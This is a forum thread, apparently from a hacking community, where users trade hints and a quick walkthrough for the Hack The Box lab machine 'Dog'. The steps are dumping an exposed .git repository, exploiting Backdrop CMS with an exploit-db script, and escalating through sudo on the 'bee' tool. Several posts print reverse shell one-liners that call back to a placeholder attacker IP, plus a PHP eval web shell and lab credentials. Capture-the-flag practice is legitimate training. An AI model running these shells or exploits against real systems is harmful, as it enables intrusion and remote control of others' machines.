[B00by]

can someone make an obvious writeup for noobs pls because how do u get access to the db ?

the writeup is already done ... look here: https://breachforums.bf/Thread-HTB-Dog-S...l-Commands

[maggi]

can someone make an obvious writeup for noobs pls because how do u get access to the db ?

Sooo nmap finds a /.git

dirsearch shows a /.git


This is a clue to at least try and see what git-dumper digs up......

Look in those files and you get what you need

Don't pay monopoly monies for easy boxes

[artiom]

i got web shell, I want to get proper reverse shell.

What reverse shell command you guys used?

I am trying many from ReverseShellGenerator website but they do not seem to be working.


Also, the web shell keeps disappearing and I find myself constantly needing to reupload shell.tar file.

---

i got web shell, I want to get proper reverse shell.

What reverse shell command you guys used?

I am trying many from ReverseShellGenerator website but they do not seem to be working.


Also, the web shell keeps disappearing and I find myself constantly needing to reupload shell.tar file.

I got shell with this:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f

since I found out it is using /bin/sh --> dash 

with echo $0 , ls -l /bin/sh and ps -p && commands.

[letsee]

can someone make an obvious writeup for noobs pls because how do u get access to the db ?

user:

fuzz to find .git dir

use git dumper and extractor https://github.com/internetwache/GitTools

in settings.php you can find password

you can find username by searching:

grep -ri "@dog.htb"

attempt username/password and you can log in to the cms

searchsploit backdrop

you got authenticated RCE using php/webapps/52021.py
get rev shell or read /etc/passwd for users with login shell and password spray ssh with the password found earlier

root:

sudo /usr/local/bin/bee --root='/var/www/html/' ev 'SYSTEM('bash')'

[wh1t3_r4bb1t]

Ssh creds
User: johncusack
Pass: BackDropJ2024DS2024

How did you found the ssh credentials?

You can login into CMS:

/?q=user/login
tiffany@dog.htb:BackDropJ2024DS2024


There you can setup cron job and get shell (I'm here, need to check it).

How did you find that you have to use tiffany user?
I got pass from settings.php but did not get any leads on finding a valid user.

I just found it by using "grep -iR 'dog' .

[dudelard]

can someone make an obvious writeup for noobs pls because how do u get access to the db ?

user:

fuzz to find .git dir

use git dumper and extractor https://github.com/internetwache/GitTools

in settings.php you can find password

you can find username by searching:

grep -ri "@dog.htb"

attempt username/password and you can log in to the cms

searchsploit backdrop

you got authenticated RCE using php/webapps/52021.py
get rev shell or read /etc/passwd for users with login shell and password spray ssh with the password found earlier

root:

sudo /usr/local/bin/bee --root='/var/www/html/' ev 'SYSTEM('bash')'

Well thank you, i was stuck on the web panel, dont know what to do... i think i should give more credit to searchsploit next time...

[tsuki]

Quick Writeup for user and root:

getting info from git:

git show 8204779c764abd4c9d8d95038b6d22b6a7515afa -- settings.php

git grep -i "@DOG.htb" $(git rev-list --all)

BackdropCMS

python3 /usr/share/exploitdb/exploits/php/webapps/52021.py http://dog.htb/

tar czf shell.tar shell

Root:

if you run sudo /usr/local/bin/bee --help

you will find this:

ADVANCED
db-query
dbq
Execute a query using db_query().

eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('whoami');"
sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('bash -c \"bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1\"');"

[norybyt3s]

Nice box, username enum is key.

[imm3r]

i got web shell, I want to get proper reverse shell.

What reverse shell command you guys used?

I am trying many from ReverseShellGenerator website but they do not seem to be working.


Also, the web shell keeps disappearing and I find myself constantly needing to reupload shell.tar file.

---

i got web shell, I want to get proper reverse shell.

What reverse shell command you guys used?

I am trying many from ReverseShellGenerator website but they do not seem to be working.


Also, the web shell keeps disappearing and I find myself constantly needing to reupload shell.tar file.

I got shell with this:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f

since I found out it is using /bin/sh --> dash 

with echo $0 , ls -l /bin/sh and ps -p && commands.

I met the same question. I use Antsword(https://github.com/AntSwordProject/antSword.git) to receive shell. You can modify the shell.php as 

PHP Code:

<?php @eval($_POST['xxx']);?>

then use Antsword to connect x.x.x.x/moudules/shell/shell.php 
Quickly reupload shell.php into /var/www/html and connect x.x.x.x/shell.php This shell will not disappear. 
Then do the next job like others. Hope it can help you.